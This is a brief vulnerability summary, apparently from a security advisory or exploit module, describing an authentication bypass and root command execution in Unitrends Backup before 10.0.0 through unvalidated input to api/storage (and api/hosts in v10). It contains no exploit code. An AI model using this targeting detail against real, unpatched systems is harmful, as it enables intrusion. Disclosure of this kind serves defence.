        It was discovered that the api/storage web interface in Unitrends Backup (UB)
        before 10.0.0 has an issue in which one of its input parameters was not validated.
        A remote attacker could use this flaw to bypass authentication and execute arbitrary
        commands with root privilege on the target system.
        UEB v9 runs the api under root privileges and api/storage is vulnerable.
        UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
